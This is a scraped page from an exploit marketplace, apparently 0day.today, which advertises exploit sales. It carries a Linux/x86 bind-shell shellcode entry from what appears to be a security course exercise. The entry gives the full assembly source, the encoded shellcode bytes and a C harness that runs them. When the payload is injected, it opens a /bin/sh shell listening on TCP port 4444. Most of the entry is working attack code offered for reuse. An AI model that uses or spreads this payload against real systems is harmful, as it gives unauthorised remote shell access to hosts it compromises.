0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 TCP/4444 Bindshell Shellcode (100 bytes)
[*
; Title : Linux/x86 - Bind (4444/TCP) Shell (/bin/bash) Shellcode (100 bytes)
; Date : Jan, 2019
; Author : Joao Batista
; Website : overflw.wordpress.com
; Twitter : @x42x42x42x42
; SLAE-ID : 1420
; Tested on : i686 GNU/Linux
global _start
section .text
_start:
xor eax,eax
xor ebx,ebx
; socket
push ebx
inc ebx
push ebx
push 0x2
mov ecx,esp
mov al,0x66
int 0x80
; bind
xchg edi,eax
xor eax,eax
inc ebx
push eax
push word 0x5c11 ; port=4444
push bx
mov ecx, esp
push 0x10
push ecx
push edi
mov ecx,esp
mov al,0x66
int 0x80
; listen
push eax
push edi
mov ecx,esp
mov al,0x66
add ebx,2
int 0x80
;accept
push eax
push eax
push edi
mov ecx,esp
add al,0x66
inc ebx
int 0x80
;dup2
xchg ebx,eax
xor eax,eax
xor ecx,ecx
mov cl,0x2
loop:
mov al,0x3f
int 0x80
dec ecx
jns loop
;execve(/bin/sh)
push eax
push word 0x6873 ; hs
push 0x61622f2f ; ab//
push 0x6e69622f ; nib/
mov ebx,esp
push eax
mov edx,esp
push ebx
mov ecx,esp
mov al,0xb
int 0x80
*/
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x97\x31\xc0\x43\x50\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xcd\x80\x50\x57\x89\xe1\xb0\x66\x83\xc3\x02\xcd\x80\x50\x50\x57\x89\xe1\x04\x66\x43\xcd\x80\x93\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x66\x68\x73\x68\x68\x2f\x2f\x62\x61\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("shellcode length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
# 0day.today [2024-10-05] #